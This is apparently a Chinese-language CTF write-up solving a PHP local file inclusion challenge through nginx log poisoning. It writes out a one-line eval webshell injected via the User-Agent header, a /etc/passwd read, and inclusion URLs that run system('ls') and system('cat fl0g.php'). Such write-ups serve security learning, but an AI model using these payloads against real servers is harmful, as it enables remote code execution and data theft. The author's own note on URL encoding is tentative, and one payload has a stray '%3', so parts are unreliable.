例题

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

题目描述:

这道题把协议也过滤,比如说php,data协议,所以我们可以使用一句话协议木马,比如:

1
<?php @eval($_POST[1]);?>

基本原理解释

  • 一句话说完:木马病毒的本质就是在服务器某个文件中插入一段可执行代码,然后我们通过技术手段如前端传参来发送如POSTGET请求来让该代码在服务器中得到执行从而使我们可以得到服务器控制权。
  • 具体思路:
  • 细节解释:
    • 首先,我们需要将这个木马写在服务器的某个文件中,由于写在User-Agent中的文本会在请求被提交的时候自动写入日志文件,所以这是一个突破口,我们可以在初始链接被抓包的时候就在User-Agent中写入木马指令。
    • 该木马指令被写入日志文件/var/log/nginx/access.log后,只是作为普通文本文件存在,不会被解析为php代码,当该日志文件被include函数解析后,include函数会将日志文件中的php指令解析,并将非代码指令文本输出,php代码被解析执行后,我们就可以执行下一步工作。
    • 我们在指定include包含目标日志文件后,木马代码<?php @eval($_GET[1]);?>得到执行,此时我们在url中传入参数,&1=system("ls");,使得恶意代码变为:<?php @eval(system("ls")); ?>,该段代码得到解析和执行,从而使服务器内部文件的情况被回显到前端。
    • 一个小问题:
      为什么不可以把一句话木马写为:<?php @eval(system('ls');)?>
      • 首先,这样的木马病毒非常不灵活,无法通过改变其中的参数去执行其他恶意指令
      • 其次,eval函数执行的命令会将结果输出于前端,通过参数动态控制命令,并将结果嵌入 HTTP 响应。
        system函数则默认将结果输出到服务端,需要额外配置才可以回显到前端。

木马分析:

插入位置:

1.首先,我们需要知道日志的位置,日志文件根据服务器的配置不同,先要了解服务器是nginx还是apache,然后再去查看日志文件位置。
payloads:

1
/?file=/etc/passwd

可以发现回显,是nginx服务器,让我们可以锁定日志文件的路径。
2.然后通过nginx日志默认路径打开日志文件:

1
/?file=/var/log/nginx/access.log

3.将payloads写入日志文件:
为什么要在UA(user-agent)中写入payloads?因为UA是浏览器的标识符,方便隐藏。

如图:

url中远程文件包含触发:

写入payloads:

1
?file=/var/log/nginx/access.log&1=system("ls");

先调出文件:

然后再查看日志文件:
写入payloads:

1
?file=/var/log/nginx/access.log&1=system("cat fl0g.php");

嘻嘻,其实不行,要用URL编码:就是要把cat fl0g.php进行编码才可以,
这里存疑,为什么要用URL编码?之前system(“ls”)不用编码,为什么这里要编码?
应该写作:

1
/?file=/var/log/nginx/access.log&1=system(%22cat%20fl0g.php%22)%3

才可以利用repeater回显:

这个点还是需要解决!
我现在传参还是优先用URL编码传参罢